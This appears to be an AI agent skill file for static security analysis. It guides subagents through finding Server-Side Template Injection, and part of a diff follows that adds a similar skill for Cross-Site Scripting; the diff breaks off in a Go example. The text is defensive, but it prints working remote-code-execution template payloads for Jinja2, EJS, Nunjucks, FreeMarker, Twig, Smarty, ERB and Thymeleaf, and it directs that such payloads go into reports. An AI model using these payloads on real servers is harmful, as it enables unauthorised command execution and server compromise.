You are performing a focused security assessment to find Server-Side Template Injection vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (find all places where templates are rendered from dynamic strings) then **taint** (confirm whether user-supplied input reaches those rendering sites as the template string).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SSTI
Server-Side Template Injection occurs when user-supplied input is embedded directly into a template string that is then evaluated by a template engine. Unlike passing user data as *context variables* to a static template, SSTI means the user can write template syntax that the engine will execute — leading to arbitrary code execution, file read, or full server compromise.
The core pattern: *unvalidated user input is used as the template string passed to a template engine's render/compile/evaluate function.*
### What SSTI IS
- Passing user input as the template string to be compiled or rendered:
- `Template(user_input).render()` — Jinja2
- `env.from_string(user_input).render()` — Jinja2
- `render_template_string(user_input)` — Flask
- `ejs.render(user_input, ctx)` — EJS (Node.js)
- `nunjucks.renderString(user_input, ctx)` — Nunjucks
- `Handlebars.compile(user_input)(ctx)` — Handlebars
- `pug.render(user_input, ctx)` — Pug/Jade
- `_.template(user_input)(ctx)` — Lodash/Underscore
- `Velocity.evaluate(ctx, user_input)` — Apache Velocity (Java)
- `new Template("anon", new StringReader(user_input), cfg).process(...)` — FreeMarker (Java)
- `new ST(user_input).render()` — StringTemplate4 (Java)
- `thymeleafEngine.process(user_input, ctx)` — Thymeleaf (Java)
- `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)
- `$smarty->fetch("string:" . user_input)` — Smarty (PHP)
- `Liquid::Template.parse(user_input).render(ctx)` — Liquid (Ruby)
- `ERB.new(user_input).result(binding)` — ERB (Ruby)
- `t, _ := template.New("x").Parse(user_input); t.Execute(w, data)` — Go `text/template`
- `Template.fromString(user_input).render(ctx)` — Pebble (Java)
- Dynamic template name construction where the name itself comes from user input and the engine resolves arbitrary files:
- `render_template(user_input)` (Flask) where `user_input` is not validated against a safe list
- `res.render(req.query.template)` (Express) where the template name is user-controlled
### What SSTI is NOT
Do not flag these patterns:
- **User input as context data** (safe — the template is static, only the data changes):
```
render_template("profile.html", name=request.args.get("name"))
env.get_template("report.html").render(user=user_obj)
res.render("dashboard", { title: req.body.title })
```
- **XSS via template output**: If the template outputs unsanitized user data that is then rendered in a browser — that's XSS, not SSTI
- **Static templates with dynamic filenames validated against an allowlist**: If the template name comes from user input but is strictly validated against a hardcoded set of allowed template names, it's not SSTI
- **Sandboxed template engines configured with a restricted environment**: Liquid, Mustache, and similar logic-less engines cannot execute arbitrary code even if the template string comes from user input — but still flag them as "Needs Manual Review" unless you can confirm the engine is logic-less
### Patterns That Prevent SSTI
When you see these patterns, the code is likely **not vulnerable**:
**1. Static template file with dynamic context (most common safe pattern)**
```python
# Flask — static template, user input only in context dict
return render_template("user_profile.html", username=request.args.get("name"))
# Express — static view name
res.render("dashboard", { user: req.user })
```
**2. Allowlist validation for template names**
```python
ALLOWED_TEMPLATES = {"invoice.html", "receipt.html", "summary.html"}
template_name = request.args.get("tmpl", "invoice.html")
if template_name not in ALLOWED_TEMPLATES:
abort(400)
return render_template(template_name)
```
**3. Logic-less / sandboxed engines that don't support code execution**
```javascript
// Mustache — logic-less, cannot execute arbitrary code even if template is user-supplied
const output = Mustache.render(userTemplate, ctx); // lower risk, but still flag for review
```
---
## Vulnerable vs. Secure Examples
### Python — Flask / Jinja2
```python
# VULNERABLE: user input rendered as template string
@app.route('/greet')
def greet():
name = request.args.get('name', '')
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
# Payload: ?name={{7*7}} → renders "49"
# RCE: ?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# SECURE: user input passed as context variable to a static template
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template("greet.html", name=name)
```
```python
# VULNERABLE: env.from_string with user-controlled template
@app.route('/preview')
def preview():
tmpl = request.form.get('template')
return Environment().from_string(tmpl).render()
# SECURE: load template from trusted file, pass user data as context
@app.route('/preview')
def preview():
data = request.form.get('data')
return env.get_template("preview.html").render(data=data)
```
### Node.js — EJS
```javascript
// VULNERABLE: user input as template string
app.get('/render', (req, res) => {
const tmpl = req.query.template;
res.send(ejs.render(tmpl, { user: req.user }));
// Payload: ?template=<%- global.process.mainModule.require('child_process').execSync('id') %>
});
// SECURE: user input only in context data
app.get('/render', (req, res) => {
res.render('report', { content: req.query.content });
});
```
### Node.js — Nunjucks
```javascript
// VULNERABLE: renderString with user-controlled template
app.post('/preview', (req, res) => {
const output = nunjucks.renderString(req.body.tmpl, { user: req.user });
res.send(output);
// Payload: {{ range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")() }}
});
// SECURE: render from a file, user input only as context
app.post('/preview', (req, res) => {
res.render('preview.html', { content: req.body.content });
});
```
### Node.js — Handlebars
```javascript
// VULNERABLE: compile with user-supplied template string
app.get('/email', (req, res) => {
const template = Handlebars.compile(req.query.tmpl);
res.send(template({ user: req.user }));
// Payload: {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}...
});
// SECURE: compile static template, user data in context
const template = Handlebars.compile(fs.readFileSync('email.hbs', 'utf8'));
app.get('/email', (req, res) => {
res.send(template({ name: req.query.name }));
});
```
### Ruby — ERB
```ruby
# VULNERABLE: user input passed to ERB constructor
get '/render' do
tmpl = params[:template]
ERB.new(tmpl).result(binding)
# Payload: <%= `id` %>
end
# SECURE: static ERB file, user data in binding only
get '/render' do
@name = params[:name]
erb :profile
end
```
### Java — FreeMarker
```java
// VULNERABLE: template string sourced from user input
@PostMapping("/preview")
public String preview(@RequestParam String tmplStr, Model model) throws Exception {
Template t = new Template("preview", new StringReader(tmplStr), cfg);
StringWriter out = new StringWriter();
t.process(model.asMap(), out);
return out.toString();
// Payload: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
}
// SECURE: load template from classpath, user data only in model
@GetMapping("/report")
public String report(@RequestParam String userId, Model model) {
model.addAttribute("user", userService.findById(userId));
return "report"; // resolves to templates/report.ftl
}
```
### Java — Velocity
```java
// VULNERABLE: user input evaluated as template
public String render(String userTemplate) {
VelocityContext ctx = new VelocityContext();
StringWriter sw = new StringWriter();
Velocity.evaluate(ctx, sw, "template", userTemplate);
return sw.toString();
// Payload: #set($e="")#set($x=$e.class.forName("java.lang.Runtime"))...
}
// SECURE: load template from file
Template t = Velocity.getTemplate("report.vm");
t.merge(ctx, sw);
```
### Java — Thymeleaf (Spring)
```java
// VULNERABLE: user input used as template expression evaluated by Thymeleaf
@GetMapping("/hello")
public String hello(@RequestParam String lang, Model model) {
return "user/" + lang + "/welcome"; // path traversal + SSTI if lang is e.g. "__${T(java.lang.Runtime).getRuntime().exec('id')}"
}
// SECURE: validate lang against an allowlist
private static final Set<String> ALLOWED_LANGS = Set.of("en", "fr", "de");
@GetMapping("/hello")
public String hello(@RequestParam String lang, Model model) {
if (!ALLOWED_LANGS.contains(lang)) return "error";
return "user/" + lang + "/welcome";
}
```
### PHP — Twig
```php
// VULNERABLE: user input as template string
$app->get('/render', function (Request $request) use ($twig) {
$tmpl = $request->query->get('template');
return $twig->createTemplate($tmpl)->render([]);
// Payload: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
});
// SECURE: static template, user data in context array
$app->get('/profile', function (Request $request) use ($twig) {
return $twig->render('profile.html.twig', ['name' => $request->query->get('name')]);
});
```
### PHP — Smarty
```php
// VULNERABLE: user-controlled template string via fetch("string:...")
$template = $_GET['tmpl'];
$smarty->fetch("string:" . $template);
// Payload: {php}echo shell_exec('id');{/php}
// SECURE: pass user data as template variable
$smarty->assign('name', $_GET['name']);
$smarty->display('profile.tpl');
```
### Go — text/template
```go
// VULNERABLE: user input parsed as template
func handler(w http.ResponseWriter, r *http.Request) {
tmpl := r.URL.Query().Get("tmpl")
t, _ := template.New("x").Parse(tmpl)
t.Execute(w, data)
// Payload: {{.Func "os/exec" "id"}} — depends on data methods exposed
}
// SECURE: static template string or file; user input only in data
func handler(w http.ResponseWriter, r *http.Request) {
t := template.Must(template.ParseFiles("tmpl/page.html"))
t.Execute(w, map[string]string{"Name": r.URL.Query().Get("name")})
}
// Note: Go's html/template auto-escapes output, but text/template does not.
// Even html/template is vulnerable to SSTI if user input reaches .Parse().
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find Template Rendering Sites Using Dynamic Strings
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where a template engine renders, compiles, or evaluates a **dynamically built string** as the template itself — rather than loading a static template file. Write results to `sast/ssti-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, template engines in use, and how views/responses are rendered.
>
> **What to search for — vulnerable template rendering patterns**:
>
> Flag any call where the first argument (the template string) is a variable, a concatenated string, or any non-literal value. You are not yet checking whether that variable comes from user input — that is Phase 2's job.
>
> 1. **Python — Jinja2 / Flask**:
> - `render_template_string(var)` — any non-literal argument
> - `Environment().from_string(var)` or `env.from_string(var)`
> - `jinja2.Template(var).render(...)`
> - `Template(var)` where Template is imported from jinja2
>
> 2. **Python — Mako**:
> - `Template(var).render(...)` where Template is from `mako.template`
> - `mako.template.Template(var)`
>
> 3. **Node.js — EJS**:
> - `ejs.render(var, ...)` or `ejs.renderFile(var, ...)` where var is not a static string literal
>
> 4. **Node.js — Nunjucks**:
> - `nunjucks.renderString(var, ...)` — any non-literal first argument
> - `env.renderString(var, ...)`
>
> 5. **Node.js — Handlebars**:
> - `Handlebars.compile(var)` — any non-literal argument
> - `Handlebars.precompile(var)`
>
> 6. **Node.js — Pug/Jade**:
> - `pug.render(var, ...)` — any non-literal argument
> - `pug.compile(var, ...)`
>
> 7. **Node.js — Lodash/Underscore**:
> - `_.template(var)` — any non-literal argument
> - `Handlebars.compile(var)`
>
> 8. **Node.js — Swig / Twig.js**:
> - `swig.render(var, ...)`
> - `twig({ data: var })`
>
> 9. **Ruby — ERB**:
> - `ERB.new(var).result(...)` — any non-literal argument
> - `ERB.new(var).result_with_hash(...)`
>
> 10. **Ruby — Liquid**:
> - `Liquid::Template.parse(var).render(...)` — any non-literal argument
>
> 11. **Java — FreeMarker**:
> - `new Template(name, new StringReader(var), cfg)` — var is not a literal
> - `cfg.getTemplate(var)` where var is not a literal (potential template path injection)
>
> 12. **Java — Velocity**:
> - `Velocity.evaluate(ctx, writer, logTag, var)` — any non-literal fourth argument
> - `ve.evaluate(ctx, writer, logTag, var)`
>
> 13. **Java — StringTemplate / ST4**:
> - `new ST(var)` — any non-literal argument
> - `new STGroup(var, ...)` with non-literal path
>
> 14. **Java — Thymeleaf**:
> - Controller methods returning a view name built by string concatenation: `return "user/" + var + "/page"` or `return String.format("prefix/%s/suffix", var)`
> - `templateEngine.process(var, ctx)` with non-literal var
>
> 15. **PHP — Twig**:
> - `$twig->createTemplate($var)->render(...)` — any non-literal argument
> - `$environment->createTemplate($var)`
>
> 16. **PHP — Smarty**:
> - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`
> - `$smarty->fetch($var)` where var may contain a "string:" prefix
>
> 17. **PHP — Blade / Laravel**:
> - `Blade::render($var, ...)` — any non-literal argument
> - `\Illuminate\Support\Facades\View::make($var, ...)` with non-literal name (template path injection)
>
> 18. **Go — text/template or html/template**:
> - `template.New(name).Parse(var)` — any non-literal argument to Parse
> - `t.Parse(var)` on any template variable
> - `t.ParseFiles(var)` with non-literal var (template path injection)
>
> 19. **C# — Scriban / Handlebars.Net / DotLiquid / Fluid**:
> - `Template.Parse(var)` (Scriban) — non-literal
> - `Handlebars.Compile(var)` — non-literal
> - `DotLiquid.Template.Parse(var)` — non-literal
> - `FluidParser.TryParse(var, ...)` — non-literal
>
> **What to skip** (safe patterns — do not flag):
> - Calls where the first argument is a **string literal**: `render_template_string("<h1>Hello</h1>")`, `ejs.render("<p>static</p>", ctx)`
> - Calls where a file path is loaded from a trusted constant and user input only appears in context: `render_template("profile.html", user=user_obj)`
> - Template engine configuration calls that do not render user-supplied content: `env = Environment(loader=FileSystemLoader("templates/"))`
>
> **Output format** — write to `sast/ssti-recon.md`:
>
> ```markdown
> # SSTI Recon: [Project Name]
>
> ## Summary
> Found [N] locations where a template engine renders a dynamic (non-literal) string as the template.
>
> ## Candidate Rendering Sites
>
> ### 1. [Descriptive name — e.g., "render_template_string in /greet endpoint"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Template engine**: [Jinja2 / EJS / Handlebars / FreeMarker / Twig / ERB / etc.]
> - **Rendering call**: [render_template_string / from_string / ejs.render / Handlebars.compile / etc.]
> - **Dynamic argument**: `var_name` — [brief note on what it appears to represent, e.g., "looks like it comes from a form field" or "unknown origin"]
> - **Code snippet**:
> ```
> [the rendering call with the dynamic argument]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/ssti-recon.md`. If the recon found **zero candidate rendering sites** (the summary reports "Found 0" or the "Candidate Rendering Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/ssti-results.md` and stop:
```markdown
# SSTI Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one candidate rendering site.
### Phase 2: Trace User Input to Template Rendering Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each candidate template rendering site in `sast/ssti-recon.md`, determine whether a user-supplied value reaches the dynamic template string argument. Write final results to `sast/ssti-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, and how data flows through the application.
>
> **For each rendering site, trace the dynamic template argument backwards to its origin**:
>
> 1. **Direct user input** — the argument is assigned directly from a request source with no transformation:
> - HTTP query params: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`
> - Path parameters: `request.path_params['id']`, `req.params.id`, `params[:id]`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `params[:x]`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`
> - File upload content: if a file's content is read and passed as the template string
>
> 2. **Indirect user input** — the argument is derived from user input through transformations, function calls, or intermediate assignments. Trace the full chain:
> - Variable assigned from a function return value → check that function's parameter origin
> - Variable passed as a function argument → check the call site(s)
> - Variable read from a class attribute or shared state set elsewhere → find the setter
> - Variable conditionally assigned — check all branches
>
> 3. **Second-order input** — the template string is read from the database, a config store, or a file, but the stored value originally came from user input (e.g., user-submitted "custom email template" feature):
> - Find where this value was written — was it stored from a user-supplied field?
> - Was it sanitized before storage? Note: sanitizing SSTI payloads is unreliable — still flag.
>
> 4. **Server-side / hardcoded value** — the template string comes from a file loaded at startup, a hardcoded constant, or server-side logic with no user influence — this site is NOT exploitable.
>
> **For each rendering site, also assess the template engine's risk level**:
> - **Critical**: Jinja2, Mako, Twig, Smarty, FreeMarker, Velocity, ERB, Pug, EJS, Go `text/template`, Thymeleaf — full code execution possible
> - **High**: Handlebars (with prototype pollution gadgets), Nunjucks, Lodash `_.template`, Blade, Razor
> - **Medium / Logic-less**: Mustache, Liquid (without dangerous tags enabled) — arbitrary code execution not typically possible, but still check for data leakage
>
> **For each rendering site, also check for mitigations**:
> - Is the template engine running in a sandboxed mode? (e.g., Jinja2 `SandboxedEnvironment`, Twig `sandbox` extension with strict policy)
> - Is the input validated or filtered before being used as a template? Note: blocklist-based filtering of template syntax characters (`{`, `}`, `%`) is **not** a reliable mitigation — attackers can often bypass it.
> - Is the result of rendering passed directly to the response, or is it used in a non-dangerous context?
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the template string argument with no effective mitigation, using a critical/high-risk engine.
> - **Likely Vulnerable**: User input probably reaches the template string (indirect flow or second-order), or a medium-risk engine is used, or only blocklist filtering is applied.
> - **Not Vulnerable**: The template string is server-side only (file, constant, hardcoded), OR a properly configured sandbox is confirmed in place.
> - **Needs Manual Review**: Cannot determine the argument's origin with confidence, or a logic-less engine is used and data leakage scope is unclear.
>
> **Output format** — write to `sast/ssti-results.md`:
>
> ```markdown
> # SSTI Analysis Results: [Project Name]
>
> ## Executive Summary
> - Rendering sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Template engine**: [Jinja2 / FreeMarker / Twig / ERB / etc.] (severity: Critical/High)
> - **Issue**: [e.g., "HTTP query param `tmpl` flows directly into render_template_string()"]
> - **Taint trace**: [Step-by-step from entry point to the rendering call — e.g., "request.args.get('tmpl') → tmpl → render_template_string(tmpl)"]
> - **Impact**: Remote code execution — attacker can execute arbitrary OS commands, read files, exfiltrate secrets, or pivot internally.
> - **Proof-of-concept payload**:
> ```
> [Template syntax payload appropriate for the engine.
> Example for Jinja2: ?tmpl={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
> Example for FreeMarker: ?tmpl=<#assign+ex="freemarker.template.utility.Execute"?new()>${ex("id")}
> Example for Twig: ?tmpl={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
> Example for ERB: ?tmpl=<%= `id` %>
> Example for EJS: ?tmpl=<%- global.process.mainModule.require('child_process').execSync('id') %>]
> ```
> - **Remediation**: Never use user input as a template string. Pass user data as context variables to a static template. If dynamic templates are a product requirement, use a sandboxed logic-less engine (e.g., Mustache, Liquid with safe config) and enforce strict input validation.
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Template engine**: [engine name] (severity: High/Medium)
> - **Issue**: [e.g., "Template string likely sourced from user input via helper function" or "Second-order: user-submitted template stored in DB then evaluated server-side"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it's still a risk — e.g., "Second-order SSTI: user can craft payload at submission time that executes when the template is rendered later"]
> - **Proof-of-concept payload**:
> ```
> [payload for the engine]
> ```
> - **Remediation**: [Specific fix]
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Template string is loaded from a hardcoded file path" or "Jinja2 SandboxedEnvironment confirmed in use with restricted globals"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the argument's origin could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `get_custom_template()` in services/email.py to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any dynamic (non-literal) variable used as the template string argument. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each site found in Phase 1, trace the dynamic template argument back to its origin. If it comes from a user-controlled source, the site is a real vulnerability.
- The critical distinction is **template string vs. template context**: user input passed as a *variable name/value* inside `render_template("page.html", user=input)` is safe. User input passed as the *template string itself* to `render_template_string(input)` is dangerous.
- **Second-order SSTI is easy to miss**: a "custom template" feature may let users store Jinja2/Twig syntax in the database. When that stored template is later loaded and rendered server-side without sandboxing, it's SSTI. In Phase 2, treat DB-read template strings as potentially tainted.
- **Thymeleaf fragment expressions**: in Spring Boot, if a controller returns a view name constructed from user input (e.g., `return "user/" + lang + "/view"`), Thymeleaf may process Spring EL expressions embedded in the path segment, enabling RCE. Flag any controller that builds a view name string using user-supplied values.
- **Blocklist filtering is not a mitigation**: attempts to strip `{{`, `}}`, `<%`, `%>` etc. from user input are routinely bypassed via encoding, alternate syntax, or nested expressions. Do not classify a finding as "Not Vulnerable" solely because filtering is present.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Include engine-appropriate proof-of-concept payloads for all Vulnerable and Likely Vulnerable findings. Payloads should first test with a math expression (e.g., `{{7*7}}`) to confirm template execution before escalating to RCE payloads.
+574
View File
@@ -0,0 +1,574 @@
---
name: sast-xss
description: >-
Detect Cross-Site Scripting (XSS) vulnerabilities in a codebase using a
two-phase approach: first find all HTML, JavaScript, and DOM output sinks
where data is rendered without escaping, then trace whether user-supplied
input reaches those sinks. Requires sast/architecture.md (run sast-analysis
first). Outputs findings to sast/xss-results.md. Use when asked to find XSS
or cross-site scripting bugs.
---
# Cross-Site Scripting (XSS) Detection
You are performing a focused security assessment to find Cross-Site Scripting vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **sink discovery** (find all places where data is rendered into HTML, JavaScript, or the DOM without proper escaping) then **taint** (confirm whether user-supplied input reaches those sinks).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is XSS
XSS occurs when user-supplied input is incorporated into a web page's HTML, JavaScript, or DOM without proper escaping or sanitization. This allows attackers to inject and execute arbitrary scripts in victims' browsers, leading to session hijacking, credential theft, defacement, and malware distribution.
The core pattern: *unescaped, unsanitized user input reaches an HTML/JS output sink.*
### XSS Types
- **Reflected XSS**: User input is immediately echoed back in the HTTP response (e.g., a search term rendered directly into the page HTML).
- **Stored XSS**: User input is saved to persistent storage (database, file) and later rendered in HTML for other users.
- **DOM-based XSS**: Client-side JavaScript reads from an attacker-controlled source (`location.search`, `location.hash`, `document.cookie`) and writes to a dangerous DOM sink (`innerHTML`, `eval`, `document.write`) without server involvement.
### What XSS IS
**Server-side HTML sinks** — rendering user data into HTML responses without escaping:
- Python/Jinja2: `{{ var | safe }}`, `{% autoescape off %}...{{ var }}...{% endautoescape %}`
- Python/Django: `mark_safe(var)`, `format_html(...)` with `%s` and unescaped input, `{{ var | safe }}` in templates
- Python/Flask: `Markup(var)`, `render_template_string(f"...{var}...")`
- PHP: `echo $var`, `print $var`, `<?= $var ?>` without `htmlspecialchars()`
- Ruby/Rails: `raw(var)`, `var.html_safe`, `<%= raw var %>`, `content_tag` with `.html_safe`
- Java/JSP: `<%= var %>`, `${var}` without `<c:out>` or `fn:escapeXml()`
- Java/Thymeleaf: `th:utext="${var}"` (unescaped), `[(${var})]`
- Go/html-template misuse: using `template.HTML(var)`, `template.JS(var)`, `template.URL(var)` to bypass auto-escaping
- C#/Razor: `@Html.Raw(var)`, `MvcHtmlString.Create(var)`
- Node.js/EJS: `<%- var %>` (unescaped), vs `<%= var %>` (safe)
- Node.js/Handlebars: `{{{ var }}}` (triple-brace, unescaped)
- Node.js/Pug: `!{var}` (unescaped)
- Express: `res.send("<html>..." + var + "...")`, `res.write("<p>" + var + "</p>")`
**Client-side DOM sinks** — JavaScript writing user-controlled data to the DOM unsafely:
- `element.innerHTML = var`
- `element.outerHTML = var`
- `document.write(var)`, `document.writeln(var)`
- `element.insertAdjacentHTML('beforeend', var)`
- jQuery: `$(element).html(var)`, `$(element).append(var)` (when var contains HTML), `$('<div>' + var + '</div>')`
- React: `dangerouslySetInnerHTML={{ __html: var }}`
- Angular: `[innerHTML]="var"`, `bypassSecurityTrustHtml(var)`, `bypassSecurityTrustScript(var)`, `bypassSecurityTrustUrl(var)`
- Vue: `v-html="var"`
**JavaScript execution sinks** — user-controlled data evaluated as code:
- `eval(var)`
- `setTimeout(var, delay)` / `setInterval(var, delay)` when `var` is a string
- `new Function(var)()`
- `element.setAttribute('onclick', var)`, `element.setAttribute('href', 'javascript:' + var)`
- `location.href = var`, `location.replace(var)`, `location.assign(var)` (when var is user-controlled and can be `javascript:...`)
- `element.src = var`, `element.action = var` (script injection via `javascript:` URIs)
- `scriptElement.text = var`, `scriptElement.textContent = var`
**DOM-based sources** — attacker-controlled inputs read by client-side JavaScript:
- `location.search` (URL query string)
- `location.hash` (URL fragment)
- `location.href`
- `document.referrer`
- `document.URL`, `document.documentURI`
- `document.cookie`
- `postMessage` event data (`event.data`)
- `window.name`
- `localStorage.getItem(...)`, `sessionStorage.getItem(...)` (if populated from URL or postMessage)
### What XSS is NOT
Do not flag these as XSS:
- **CSRF**: Forging requests on behalf of a user — a separate vulnerability class
- **SQLi via XSS**: Injecting SQL through an XSS vector — the SQL injection itself is the primary finding
- **Clickjacking**: Embedding pages in iframes — different vulnerability class
- **Header injection**: Injecting newlines into HTTP response headers — separate class (HTTP Response Splitting)
- **Safe template output**: Auto-escaped `{{ var }}` in Jinja2/Django/Twig/Blade/Handlebars double-brace syntax with auto-escaping on — these are safe
- **`textContent` / `innerText`**: These write plain text only; no HTML parsing occurs — safe
### Patterns That Prevent XSS
When you see these patterns, the code is likely **not vulnerable**:
**1. Context-aware auto-escaping (most template engines default)**
```
# Jinja2 / Django (auto-escape on by default)
{{ var }} # HTML-escaped → safe
# EJS
<%= var %> # HTML-escaped → safe
# Handlebars
{{ var }} # HTML-escaped → safe
# Pug
= var # HTML-escaped → safe
# Thymeleaf
th:text="${var}" # HTML-escaped → safe
# Razor (C#)
@var # HTML-encoded → safe
```
**2. Explicit escaping before output**
```php
// PHP
echo htmlspecialchars($var, ENT_QUOTES, 'UTF-8');
```
```ruby
# Rails
<%= h(var) %>
<%= ERB::Util.html_escape(var) %>
```
```java
// JSP with JSTL
<c:out value="${var}"/>
// or fn:escapeXml()
${fn:escapeXml(var)}
```
```go
// html/template — auto-escapes by context (HTML, JS, URL, CSS)
{{.Var}} // safe inside html/template
```
**3. DOM manipulation using safe properties**
```javascript
element.textContent = userInput; // plain text, no HTML parsing — safe
element.innerText = userInput; // plain text — safe
```
**4. Sanitization with an allowlisted HTML library**
```javascript
// DOMPurify
element.innerHTML = DOMPurify.sanitize(userInput);
// sanitize-html with strict config
const clean = sanitizeHtml(userInput, { allowedTags: [], allowedAttributes: {} });
```
**5. React / Angular / Vue auto-escaping**
```jsx
// React JSX — auto-escaped
return <div>{userInput}</div>;
```
```html
<!-- Angular — auto-escaped -->
<div>{{ userInput }}</div>
<!-- Vue — auto-escaped -->
<div>{{ userInput }}</div>
```
---
## Vulnerable vs. Secure Examples
### Python — Flask / Jinja2
```python
# VULNERABLE: Markup() bypasses Jinja2 auto-escaping
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template_string(f"<h1>Hello, {name}!</h1>") # raw f-string, no template escaping
# VULNERABLE: mark_safe equivalent
@app.route('/profile')
def profile():
bio = request.args.get('bio', '')
return render_template('profile.html', bio=Markup(bio)) # Markup() marks it as safe, bypassing escaping
# SECURE: use template with auto-escaping (never pass Markup around user input)
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template('greet.html', name=name) # template: {{ name }} — auto-escaped
```
### Python — Django
```python
# VULNERABLE: mark_safe() with user input
def user_bio(request):
bio = request.GET.get('bio', '')
safe_bio = mark_safe(bio) # user input bypasses Django's auto-escaping
return render(request, 'bio.html', {'bio': safe_bio})
# SECURE: pass raw string; template handles escaping
def user_bio(request):
bio = request.GET.get('bio', '')
return render(request, 'bio.html', {'bio': bio}) # template: {{ bio }} — auto-escaped
```
### PHP
```php
// VULNERABLE: echo without escaping
function showUsername($username) {
echo "<p>Welcome, " . $username . "</p>";
}
// SECURE: htmlspecialchars
function showUsername($username) {
echo "<p>Welcome, " . htmlspecialchars($username, ENT_QUOTES, 'UTF-8') . "</p>";
}
```
### Node.js — Express (string concatenation)
```javascript
// VULNERABLE: user input concatenated into HTML response
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`);
});
// SECURE: use a template engine with auto-escaping, or escape manually
const escapeHtml = require('escape-html');
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${escapeHtml(query)}</h1>`);
});
```
### Node.js / EJS
```html
<!-- VULNERABLE: unescaped output -->
<div><%- userInput %></div>
<!-- SECURE: escaped output -->
<div><%= userInput %></div>
```
### Node.js / Handlebars
```html
<!-- VULNERABLE: triple-brace, unescaped -->
<div>{{{ userInput }}}</div>
<!-- SECURE: double-brace, auto-escaped -->
<div>{{ userInput }}</div>
```
### JavaScript — DOM Sinks
```javascript
// VULNERABLE: innerHTML with URL fragment
const name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// SECURE: textContent
const name = location.hash.substring(1);
document.getElementById('greeting').textContent = 'Hello, ' + name;
```
```javascript
// VULNERABLE: eval with postMessage data
window.addEventListener('message', (event) => {
eval(event.data);
});
// SECURE: parse and validate; never eval postMessage data
window.addEventListener('message', (event) => {
const data = JSON.parse(event.data);
// handle data safely
});
```
### React
```jsx
// VULNERABLE: dangerouslySetInnerHTML with user input
function Comment({ content }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
// SECURE: render as text (auto-escaped by React)
function Comment({ content }) {
return <div>{content}</div>;
}
```
### Angular
```typescript
// VULNERABLE: bypassing Angular's DomSanitizer
constructor(private sanitizer: DomSanitizer) {}
getUserHtml(input: string): SafeHtml {
return this.sanitizer.bypassSecurityTrustHtml(input); // unsafe if input is user-controlled
}
```
```html
<!-- VULNERABLE: [innerHTML] with unsanitized value -->
<div [innerHTML]="userInput"></div>
<!-- SECURE: use interpolation (auto-escaped) -->
<div>{{ userInput }}</div>
```
### Ruby on Rails
```erb
<%# VULNERABLE: raw() or html_safe with user input %>
<%= raw(@user.bio) %>
<%= @user.bio.html_safe %>
<%# SECURE: default ERB escaping %>
<%= @user.bio %>
```
### Java — JSP
```jsp
<%-- VULNERABLE: scriptlet echo --%>
<p>Hello, <%= request.getParameter("name") %></p>
<%-- VULNERABLE: EL without c:out --%>
<p>Hello, ${param.name}</p>
<%-- SECURE: c:out escaping --%>
<p>Hello, <c:out value="${param.name}"/></p>
```
### Go — html/template vs. text/template
```go
